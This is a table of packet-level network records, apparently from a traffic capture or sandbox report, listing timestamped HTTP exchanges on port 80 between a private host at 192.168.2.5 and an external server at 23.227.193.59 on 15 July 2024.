Jul 15, 2024 00:48:33.643285036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.643312931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643325090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643358946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.643363953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643376112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643387079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643399000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643410921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.643412113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.643452883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731568098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731590986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731604099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731682062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731693983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731705904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731728077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731741905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731754065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731761932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731761932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731767893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731792927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731802940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731812954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731817961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731829882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731843948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731884956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731934071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731949091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731961012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731972933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731981993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.731987000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.731998920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732012033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732024908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732034922 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732059956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732059956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732072115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732084990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732096910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732106924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732131004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732132912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732146978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732158899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732172012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732180119 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732204914 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732362986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732373953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732384920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732397079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732409954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732422113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732433081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732439995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732449055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732455015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732466936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732487917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732492924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732501030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732502937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732517958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732532024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732537985 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732548952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732562065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732563019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732575893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732594967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732680082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732692003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732703924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732718945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732733011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732758045 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732784033 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732800007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732812881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732826948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732839108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732848883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732850075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732872963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732873917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732889891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732903957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732907057 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732933044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.732975960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732988119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.732999086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733011007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733016014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733023882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733036041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733042955 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733052015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733083963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733097076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733098984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733136892 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733180046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733191967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733203888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733220100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733246088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733309031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733324051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733335018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733346939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733357906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733371019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733375072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733383894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733397007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733397007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733413935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733417034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733453035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733454943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733465910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733478069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733516932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733558893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733572006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733584881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733597040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733611107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733623028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733624935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733638048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733659983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733681917 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733690977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733704090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733716011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733727932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733737946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733762026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733788967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733802080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733814001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733829021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733835936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733840942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733854055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733861923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733866930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733880997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.733895063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.733916998 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.734960079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.734994888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.735007048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.735042095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.735074043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.737272978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820736885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820753098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820764065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820785999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820797920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820808887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820817947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820822954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820837021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820849895 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820861101 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820872068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820884943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820898056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820931911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820940971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820945978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820957899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820970058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.820983887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.820993900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821012020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821295023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821307898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821320057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821347952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821371078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821372032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821382999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821394920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821408033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821433067 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821455956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821584940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821605921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821616888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821628094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821639061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821651936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821661949 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821664095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821681023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821693897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821695089 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821715117 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821724892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821738958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821749926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821763039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821763039 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821775913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821789026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821789026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821801901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821815014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821815968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821826935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821840048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821852922 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821863890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821875095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821886063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821887016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821899891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821899891 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821928024 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821932077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821945906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821955919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821969986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821970940 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.821981907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.821995020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822010040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822022915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822207928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822221041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822232962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822246075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822257042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822257042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822273016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822280884 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822294950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822299957 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822307110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822319031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822329998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822340965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822343111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822355032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822369099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822369099 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822380066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822381973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822395086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822412014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822417021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822429895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822436094 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822443008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822463036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822468042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822475910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822500944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822539091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822550058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822561026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822573900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822586060 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822612047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822663069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822674990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822686911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822700977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822707891 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822714090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822720051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822726965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822765112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822803020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822808027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822817087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822830915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822843075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822854996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822859049 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822869062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822880983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822907925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822931051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822942019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822952986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822967052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822976112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.822978973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.822993040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823004961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823045969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823071003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823082924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823093891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823112965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823113918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823128939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823139906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823151112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823153973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823163986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823172092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823198080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823223114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823235035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823246002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823275089 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823287010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823298931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823309898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823322058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.823332071 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.823355913 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.909185886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909210920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909224987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909236908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909248114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909260035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909271955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.909284115 CEST	80	57614	23.227.193.59	192.168.2.5
